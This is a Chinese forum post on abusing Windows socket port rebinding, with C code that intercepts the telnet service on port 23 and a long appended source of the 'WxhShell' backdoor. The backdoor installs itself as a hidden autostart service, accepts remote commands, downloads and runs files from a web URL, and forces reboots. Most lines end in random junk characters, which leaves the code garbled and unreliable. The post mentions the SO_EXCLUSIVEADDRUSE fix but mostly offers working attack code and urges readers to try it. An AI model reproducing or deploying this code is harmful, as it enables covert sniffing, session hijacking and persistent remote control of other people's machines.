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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z~F*$jn  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Kq5i8L=u  
`hdN 6PgK  
  saddr.sin_family = AF_INET; }?o4MiLB  
>#)%/Ti}DU  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); EJ(36h  
T%Bz>K  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l(W?]{C[%  
>qs/o$+t}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 1R;@v3  
1nw\?r2  
  这意味着什么?意味着可以进行如下的攻击: TF9A4  
4/%Y@Z5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 nRvaCAt^  
 yj=OR|v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) E]v?:!!ds  
mx#%oJnsi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S*gm[ZLQ  
9c%CCZ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \t 5_V)P  
!9.FI{W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e{9~m  
\B^NdG5Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 M4D @G  
_a f $0!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cUr!U\X[  
SU1N*k#-o  
  #include ?4oP=.  
  #include TW|- 0  
  #include vZW[y5   
  #include    TyjZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   plp-[eKcD  
  int main() F{.\i*$  
  { mz+UkA'  
  WORD wVersionRequested; +xvn n  
  DWORD ret; ;6~5FTmV  
  WSADATA wsaData; Oxa8ue?  
  BOOL val; no W]E}nN  
  SOCKADDR_IN saddr; \m%c"'[  
  SOCKADDR_IN scaddr; QM* T?PR  
  int err; X&kp1Ih<^  
  SOCKET s; K7([Gc9  
  SOCKET sc; DVVyWn[  
  int caddsize; ;b:'i& r  
  HANDLE mt; shw"TF>?zG  
  DWORD tid;   H\qZu%F'  
  wVersionRequested = MAKEWORD( 2, 2 ); :w!hkUx#  
  err = WSAStartup( wVersionRequested, &wsaData ); 9K#3JyW*  
  if ( err != 0 ) { oR,6esA+6n  
  printf("error!WSAStartup failed!\n"); TQmrL  
  return -1; M9afg$;.xe  
  } V[uSo$k+>  
  saddr.sin_family = AF_INET; nmts% u  
   Q4hY\\Hi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R :(-"GW'  
6M. |W;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q2s0g*z  
  saddr.sin_port = htons(23); cdh0b7tj n  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) " :vEWp+g  
  { 7RWgc]@?>  
  printf("error!socket failed!\n"); El@*Fo  
  return -1; d$ n31F  
  } ZOMYo]  
  val = TRUE; @"MQ6u G>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [8^q3o7n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) EEnl'  
  { /aMOZ=,q}  
  printf("error!setsockopt failed!\n"); aWlIq(dU  
  return -1; EwX{i}j_V  
  } w]yVNB  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B~7!v${  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 } c k <R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ruGeN  
M;,$ )>P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Dsp$Nr%*  
  { fggs ;Le  
  ret=GetLastError(); jS~Pdz  
  printf("error!bind failed!\n"); jeJgDAUv  
  return -1; QF\nf_X  
  } Ei):\,Nv  
  listen(s,2); Y*PfU +y~  
  while(1) g_`a_0v  
  { 9$Z0mzk  
  caddsize = sizeof(scaddr); ~r!(V;k{  
  //接受连接请求 *<!q@r<d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); &H]/'i-  
  if(sc!=INVALID_SOCKET) aY#?QjL  
  { [5& nH@og  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ON){d!]uJ  
  if(mt==NULL) @qan&?-Y  
  { ~^V&n`*7D  
  printf("Thread Creat Failed!\n"); Pv/ v=s>X  
  break; XWnP(C9?  
  } bY=[ USgps  
  } R-j*fO}  
  CloseHandle(mt); |Rz.Pt6  
  } DegbjqZ#  
  closesocket(s); / De~K+w7o  
  WSACleanup(); GaG>0 x   
  return 0; 8>,w8(Nt  
  }   %ACW"2#(  
  DWORD WINAPI ClientThread(LPVOID lpParam) m|B=&#  
  { * l1*zaE  
  SOCKET ss = (SOCKET)lpParam; ;_)~h$1%=  
  SOCKET sc; 3g;,  
  unsigned char buf[4096]; SXZ9+<\  
  SOCKADDR_IN saddr; m]!hP^^  
  long num; U`i5B;k}-  
  DWORD val; +q '1P}e  
  DWORD ret; xNf}f 9 l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NFZ(*v1U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   j *G: 8Lg  
  saddr.sin_family = AF_INET; {]<c6*gQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \ agZ D+  
  saddr.sin_port = htons(23); T5."3i  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1.F&gP)9  
  { LK~aLa5wG  
  printf("error!socket failed!\n"); 8ROKfPj;z  
  return -1; p8_^6wfg  
  } )ZpI%M?)  
  val = 100; tLTavE[@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3WJk04r  
  { =+Fb\HvX{  
  ret = GetLastError(); p@su:B2Rl  
  return -1; 2CO/K_Q  
  } z{ :;Rb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'R79,)|;[  
  { :xPo*#[Z(A  
  ret = GetLastError(); d"9tP& Q  
  return -1; <.QaOLD  
  } Oh*~+/u}q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fx5S2%f^  
  { SQ_?4 s::  
  printf("error!socket connect failed!\n"); 4SJ aAeIZ  
  closesocket(sc); B#Ybdp ;  
  closesocket(ss); bTc >-e,  
  return -1; F nA Kfh(  
  } D4!;*2t  
  while(1) V| 97;  
  { /{i~-DVME  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dZ`Y>wH_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @%Ld\8vdfJ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \Y)HSJR;e  
  num = recv(ss,buf,4096,0); %Hbq3U30  
  if(num>0) |l; Ot=C=  
  send(sc,buf,num,0); qjP~F  
  else if(num==0) W^tD6H;  
  break; '" "v7  
  num = recv(sc,buf,4096,0); A-CU%G9  
  if(num>0) 9j>2C  
  send(ss,buf,num,0); vn^O m-\  
  else if(num==0) 't5ufAT  
  break; #cfiN b}GX  
  } ;\mX=S|a  
  closesocket(ss); 8(% F{&<;  
  closesocket(sc); G;G*!nlWf  
  return 0 ; JY#vq'dl|  
  } X3:z=X&Zd  
ZL6HD n!  
wf\"&xwh?  
========================================================== cmG27\cRO  
;{sZDjev>  
下边附上一个代码,,WXhSHELL )/$J$'mcxd  
NZvgkci_(u  
========================================================== &)1.z7T  
.*-8rOcc  
#include "stdafx.h" 5E'/8xpbB  
u /F!8#  
#include <stdio.h> 8!{*!|Xd  
#include <string.h> ?s^qWA  
#include <windows.h> )j36Y =r3  
#include <winsock2.h> f1 x&Fk  
#include <winsvc.h> .5 . (S^u  
#include <urlmon.h> Z@0tZ^V{  
Zd[rn:9\  
#pragma comment (lib, "Ws2_32.lib") _`udd)Y2  
#pragma comment (lib, "urlmon.lib") t{]Ew4Y4%O  
U6M ~N0)Yr  
#define MAX_USER   100 // 最大客户端连接数 Ib#-M;{  
#define BUF_SOCK   200 // sock buffer bej(Ds0  
#define KEY_BUFF   255 // 输入 buffer I@cw=_EQL  
.uJ J<  
#define REBOOT     0   // 重启 D;pI!S<#  
#define SHUTDOWN   1   // 关机 =0g!Q   
9p W~Gz  
#define DEF_PORT   5000 // 监听端口 zr.\7\v  
4E^ ?}_$  
#define REG_LEN     16   // 注册表键长度 H0afu)$,  
#define SVC_LEN     80   // NT服务名长度 gXdMGO>  
0~qc,-)3  
// 从dll定义API Pao^>rj  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); > <YU'>%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @|b-X? `  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eP-|3$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9&Jf4lC94  
`}Zqmfs  
// wxhshell配置信息 xS,24{-HJ  
struct WSCFG { QRQZ{m  
  int ws_port;         // 监听端口 6m:$mhA5  
  char ws_passstr[REG_LEN]; // 口令 GmH DG-  
  int ws_autoins;       // 安装标记, 1=yes 0=no [Yt{h9  
  char ws_regname[REG_LEN]; // 注册表键名 !?P8[K  
  char ws_svcname[REG_LEN]; // 服务名 xuK"pS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \?xM% (:<Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |4df)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xb,d,(^]R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )^ah, ;(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d0:LJ'<Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !O_G%+>5W  
U]cXE1c>F  
}; $tmdE )"&  
7iP+!e}$.  
// default Wxhshell configuration Q@W/~~N  
struct WSCFG wscfg={DEF_PORT, cRT'?w`}  
    "xuhuanlingzhe", -5<[oBL;  
    1, ?\V#^q-  
    "Wxhshell", B6  0  
    "Wxhshell", Jl{ 0q7b  
            "WxhShell Service", nI*.(+h  
    "Wrsky Windows CmdShell Service", +S4n416K  
    "Please Input Your Password: ", io4<HN  
  1, Cyg2o<O@  
  "http://www.wrsky.com/wxhshell.exe", N p"p*O  
  "Wxhshell.exe" b#_RZ  
    }; dQ`Tt- n  
bk0>f   
// 消息定义模块 ?M4o>T%p"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~|+ ~/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sW]_Ky.]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y:;.r:  
char *msg_ws_ext="\n\rExit."; ot}erC2~  
char *msg_ws_end="\n\rQuit."; {MgRi 7  
char *msg_ws_boot="\n\rReboot..."; ?o " Vkc:  
char *msg_ws_poff="\n\rShutdown..."; n28JWkK8  
char *msg_ws_down="\n\rSave to "; p'R<yB)V  
Ob$``31{s  
char *msg_ws_err="\n\rErr!"; N"70P/  
char *msg_ws_ok="\n\rOK!"; [}L~zn6>?a  
_**Nlp*%  
char ExeFile[MAX_PATH]; j, 0`k  
int nUser = 0; [Hh-F#|R  
HANDLE handles[MAX_USER];  2v{WX  
int OsIsNt; meX2Y;  
.#( vx;  
SERVICE_STATUS       serviceStatus; Ge q]wv8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o[ 5dR<  
'PF>#X''  
// 函数声明 &6sF wK  
int Install(void); f$lb.fy5  
int Uninstall(void); @]Cg5QW>T  
int DownloadFile(char *sURL, SOCKET wsh); 8 .%0JJ.3  
int Boot(int flag); TLwxP"  
void HideProc(void); RjW wsC~B  
int GetOsVer(void); Q %o@s3~O  
int Wxhshell(SOCKET wsl); {-Y;!  
void TalkWithClient(void *cs); :iE b^F}  
int CmdShell(SOCKET sock); @](vFb  
int StartFromService(void); !T0I; j&  
int StartWxhshell(LPSTR lpCmdLine); 6K.2VY#  
:HY$x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JS/'0.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fL*7u\m:  
HI8mNX3 "j  
// 数据结构和表定义 '`jGr+K,wU  
SERVICE_TABLE_ENTRY DispatchTable[] = Z[?n{vD7  
{ -XBZ1q  
{wscfg.ws_svcname, NTServiceMain}, `5Y*) q  
{NULL, NULL} f?5>V   
}; /QXUD.( 8  
bmG`:_  
// 自我安装 z CLaHx!  
int Install(void)  t`o"K  
{ pD{OB  
  char svExeFile[MAX_PATH]; Q#g`D,:o%~  
  HKEY key; j`_S%E%X  
  strcpy(svExeFile,ExeFile); @A,8 >0+  
sfXFh  
// 如果是win9x系统,修改注册表设为自启动 o~LJ+m6-)  
if(!OsIsNt) { ]_s3<&R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]1 f^ SxSI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a/J<(sak~X  
  RegCloseKey(key); :c*"Dx'D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2-4N)q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rq%]CsRY5  
  RegCloseKey(key); zhn ?;Fi  
  return 0; |*bUcS<S  
    } tq L(H25z  
  } "to!&@I| 4  
} !*#9b  
else { ^'X I%fEf  
t'44X  
// 如果是NT以上系统,安装为系统服务 <6Q^o[L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a#p+.)Wm  
if (schSCManager!=0) >_}isCd,  
{ @|Pm%K`1  
  SC_HANDLE schService = CreateService _(m72o0g>>  
  ( D \ rns+  
  schSCManager, |1@O>GG  
  wscfg.ws_svcname, dseI~}  
  wscfg.ws_svcdisp, DGvuo 8  
  SERVICE_ALL_ACCESS, BE?]P?r?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u]*7",R uU  
  SERVICE_AUTO_START, /2K"Mpf8  
  SERVICE_ERROR_NORMAL, K6v~!iiK$  
  svExeFile, I5"wa:Z  
  NULL, KXt8IMP_"y  
  NULL, %vmd2}dA  
  NULL, Myc-lCE  
  NULL, P+CV4;Xz  
  NULL rNN>tpZ}  
  ); Jm4uj &}3  
  if (schService!=0) Y '/6T]a  
  { \[G'cE  
  CloseServiceHandle(schService); I!/32* s1t  
  CloseServiceHandle(schSCManager); YmljHQP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); mb*Yw 6q  
  strcat(svExeFile,wscfg.ws_svcname); s#$t!F??9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {it.F4.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +g1>h ,K 3  
  RegCloseKey(key); H!;N0",]N  
  return 0; IyO 0~Vx>  
    } * F!B4go  
  } hW*o;o7u  
  CloseServiceHandle(schSCManager); <'\Nv._2a  
} u&~Xgq5[  
} 5_9`v@-4_  
w{tA{{  
return 1; X'OpR   
} k0Vri$x  
J jAxNviG  
// 自我卸载 WuK<?1meN  
int Uninstall(void) C%4ed#  
{ 8\{!*?9!  
  HKEY key;  ai 4k?  
hDXTC_^s  
if(!OsIsNt) { *;Kp"j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bm#5bhX\|  
  RegDeleteValue(key,wscfg.ws_regname); R}oN8  
  RegCloseKey(key); ILuQ.VhBVN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (;fJXgj.  
  RegDeleteValue(key,wscfg.ws_regname); 7-S?RU]g  
  RegCloseKey(key); dDS{XR  
  return 0; Xqf\}p n  
  } vP{i+s18B  
} eU"yF >6'  
} JA^!i98{  
else { R>c>wYt'f  
c]pz&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); QQAEG#.5  
if (schSCManager!=0) "%T~d[M  
{ #Y= A#Yz,{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S. MRL,  
  if (schService!=0) j~'.XD={  
  { FG${w.e<  
  if(DeleteService(schService)!=0) { k8 #8)d  
  CloseServiceHandle(schService); TQB) A9  
  CloseServiceHandle(schSCManager); MZ3 8=nJ  
  return 0; Le#srr  
  } +?\JQ|  
  CloseServiceHandle(schService); a8xvK;`  
  } i[z 2'tx4  
  CloseServiceHandle(schSCManager); 6 lzjaW5h  
} JE O$v|X  
} (aYu[ML  
`n>/MY  
return 1; cyNE}  
} Y1cL dQn  
$#V'm{Hh  
// 从指定url下载文件 z$&B7?  
int DownloadFile(char *sURL, SOCKET wsh) |5flvkid  
{ >33=0<  
  HRESULT hr; _`gF%$]b  
char seps[]= "/"; Mmz; uy_  
char *token; mAlG }<  
char *file; K+Him] b  
char myURL[MAX_PATH]; yl$Ko  
char myFILE[MAX_PATH]; 1ZF KLI`V  
1(;{w +nM  
strcpy(myURL,sURL);  r(^00hvH  
  token=strtok(myURL,seps); |?KYY0  
  while(token!=NULL) D:k< , {  
  { K qJE?caw  
    file=token; kw59`z Es  
  token=strtok(NULL,seps); =R0f{&"i  
  } -#I]/7^  
GkOk.9Y,5  
GetCurrentDirectory(MAX_PATH,myFILE); Pz50etJ  
strcat(myFILE, "\\"); LB@<Q.b,U  
strcat(myFILE, file); N+.Nu= +i2  
  send(wsh,myFILE,strlen(myFILE),0); feX o"J  
send(wsh,"...",3,0); -O &>HA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =*fq5v  
  if(hr==S_OK) kO)Y|zQ  
return 0; <?A4/18K  
else 7fq Q  
return 1; !$98 U~L  
{ {?-& yA  
} w!UF^~  
^.J_w  
// 系统电源模块 SB%D%Zx6'%  
int Boot(int flag) POk5+^  
{ R\cx-h*  
  HANDLE hToken; 2:Yvr_L  
  TOKEN_PRIVILEGES tkp; Zwq\m.h  
emQc%wd{  
  if(OsIsNt) { DWtITO>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RV]#Bg*[#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3^KR{N p  
    tkp.PrivilegeCount = 1; 7mS Nz.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5_y w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'A{zH{  
if(flag==REBOOT) { p+b/k2 Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TQb/lY9*  
  return 0; 8}yrsF #  
} 4evN^es'I_  
else { _L=-z*a\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l!gX-U%-  
  return 0; (PE.v1T  
} a;5clonB  
  } `BZ|[ q3  
  else { *& w/*h$!  
if(flag==REBOOT) { W7C1\'T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N!.o`4 "z  
  return 0; BqJ|l7+  
} 7&,$  
else { ZeG4z({af  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `(j~b=PP  
  return 0; =m<b+@?T  
} io\t>_  
} EkV#i  
:Xy51p`.;]  
return 1; NcbW"Qv3  
} Z>UM gu3c  
;8=Bee4  
// win9x进程隐藏模块 C_3,|Zq?|  
void HideProc(void) 3` IR ^  
{ !hJ!ck]M  
7/M[T\c  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;a|%W4"  
  if ( hKernel != NULL ) 0++RxYFCL  
  { ` C d!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ) YB'W_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q|[^dju  
    FreeLibrary(hKernel); }!xc@  
  } MMO/vJC  
WUau KRR.  
return; %>/&&(BE  
} \Dl MOG  
#-b}QhxH  
// 获取操作系统版本 [.Fm-$M-  
int GetOsVer(void) s Y4w dG  
{ ^PC;fn,I  
  OSVERSIONINFO winfo; cY+fZ=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x _kT Wq  
  GetVersionEx(&winfo); Z;NaIJiL-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Eve,*ATI  
  return 1; ,2U  
  else W)Mz1v #s  
  return 0; =,6X_m  
} },X.a@:  
VI|2vV6?  
// 客户端句柄模块 Mq\?J{E  
int Wxhshell(SOCKET wsl) G_qt~U  
{ QeT~s5 H  
  SOCKET wsh; >KQ/ c  
  struct sockaddr_in client; <iH   
  DWORD myID; 4lCbUk[l  
` >>]$ZJ  
  while(nUser<MAX_USER) PDH|=meXM  
{ Vxo?%Dj  
  int nSize=sizeof(client); daCkjDGl\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [T9]q8"  
  if(wsh==INVALID_SOCKET) return 1; C[{E8Tg/  
H6 ,bpjY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ) iV^rLwL  
if(handles[nUser]==0) KXz7l\1Gb  
  closesocket(wsh); pm9sI4S  
else A.yIl`'UP#  
  nUser++; b7+(g [O  
  } E|oOd<z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OK-*TPrc  
*yHz#u'  
  return 0; XxeP;}  
} jq#`cay!  
DGTE#?'(  
// 关闭 socket 7'8G,|&:*  
void CloseIt(SOCKET wsh) 74NL)|M  
{ PYNY1 |3  
closesocket(wsh); vo:h"ti  
nUser--; *6][[)(  
ExitThread(0); <Vt"%C  
} Myn51pczl  
Jw;G_dQ[  
// 客户端请求句柄 eC<?g  
void TalkWithClient(void *cs) S&&Q U #  
{ kZ6:= l  
iZ/iMDfC  
  SOCKET wsh=(SOCKET)cs; #y"LFoJn  
  char pwd[SVC_LEN]; UCj<FN `  
  char cmd[KEY_BUFF]; YuHXm3[  
char chr[1]; :}q)]W  
int i,j; M<= e~';H  
(]?M=?0\  
  while (nUser < MAX_USER) {  6cjCn  
*q\>DE=7  
if(wscfg.ws_passstr) { 3me&isKL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6~>h;wC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2B)1 tP  
  //ZeroMemory(pwd,KEY_BUFF); .F%jbnKd_  
      i=0; <Mj{pN3  
  while(i<SVC_LEN) { NU'2QSU8  
aMT=pGU  
  // 设置超时 C]3:&dx9  
  fd_set FdRead; \|B\7a'4  
  struct timeval TimeOut; U|QP] 6v  
  FD_ZERO(&FdRead); q-@&n6PEOZ  
  FD_SET(wsh,&FdRead); a-nn[ j  
  TimeOut.tv_sec=8; Gf+X<a  
  TimeOut.tv_usec=0; 9GT}_ ^fb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gr}NgyT<!D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B+jh|@-  
8$RiFD ,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B>I :KGkV  
  pwd=chr[0]; _d^d1Q}V  
  if(chr[0]==0xd || chr[0]==0xa) { +BhJske  
  pwd=0; S{)K_x  
  break; <gFisc/#r  
  } &Cm]*$?  
  i++; L&=r-\.ev  
    } u(hJyo}  
1`s^r+11:  
  // 如果是非法用户,关闭 socket q<^MC/]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7hLh}  
} >o3R~ [  
4MzPm~Ct  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }}rp/16  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j0Cj&x%qF}  
zN)).a  
while(1) { PRB lf  
n{{"+;oR  
  ZeroMemory(cmd,KEY_BUFF); r XBC M  
JrX. f  
      // 自动支持客户端 telnet标准   1D!MXYgm1b  
  j=0; /2*Bd E[yG  
  while(j<KEY_BUFF) { |TQ4:P1T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =\MAz[IDj  
  cmd[j]=chr[0]; [#G*GAa6*  
  if(chr[0]==0xa || chr[0]==0xd) { ^wwS`vPb  
  cmd[j]=0; @Jqo'\~&  
  break; M0?%r`  
  } ly_8p63-  
  j++; A>mk0P)~Q  
    } 2AMb-&po&f  
H4T~Kv  
  // 下载文件 #W.vX=/*  
  if(strstr(cmd,"http://")) { _I3v"d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (u='&ka  
  if(DownloadFile(cmd,wsh)) /?b{*<TK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o=Mm=;H  
  else \P"Ol\@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l,3,$  
  } R[* n3 wB  
  else { !g)rp`?  
, )TnIByM  
    switch(cmd[0]) { %]4=D)Om  
  LCzeE7x  
  // 帮助 >vYb'%02  
  case '?': { H;q[$EUNb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?<\2}1  
    break; g>gf-2%Uo  
  } O(e!Vx{t!  
  // 安装 \D]9:BNJ  
  case 'i': { vSv1FZu*  
    if(Install()) N_Zd.VnY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K:Z(jF!j  
    else =FiO{Aw`N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^j10 f$B  
    break; PY3bn).uR  
    } jffNA^e  
  // 卸载 0jPUDkH*  
  case 'r': { ^ZRZ0:rZ  
    if(Uninstall()) GZn=Hgv8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K_:2sDCaN  
    else hd(TKFL^y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !h<O c!9  
    break; Gxxz4    
    } B(} 'yY@%u  
  // 显示 wxhshell 所在路径 vM$hCV ~N  
  case 'p': { >,_0Mem2Rr  
    char svExeFile[MAX_PATH]; 8$Zwk7 w8A  
    strcpy(svExeFile,"\n\r"); m~P30)  
      strcat(svExeFile,ExeFile); =w"Kkj>%oh  
        send(wsh,svExeFile,strlen(svExeFile),0); &#gh :5  
    break; JR&yaOws  
    } G$QN_h,}  
  // 重启 Ho[]03  
  case 'b': { :V@)A/}uk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); hsYE&Np_Q  
    if(Boot(REBOOT)) .=d40m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PyK!Cyq  
    else { \IudS{ .?;  
    closesocket(wsh); BpX`49  
    ExitThread(0); fBz|-I:k +  
    } @0C[o9  
    break; CPeu="[  
    } cD)9EFo  
  // 关机 H5 :,hrZY  
  case 'd': { WU@_aw[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c5 AaUza  
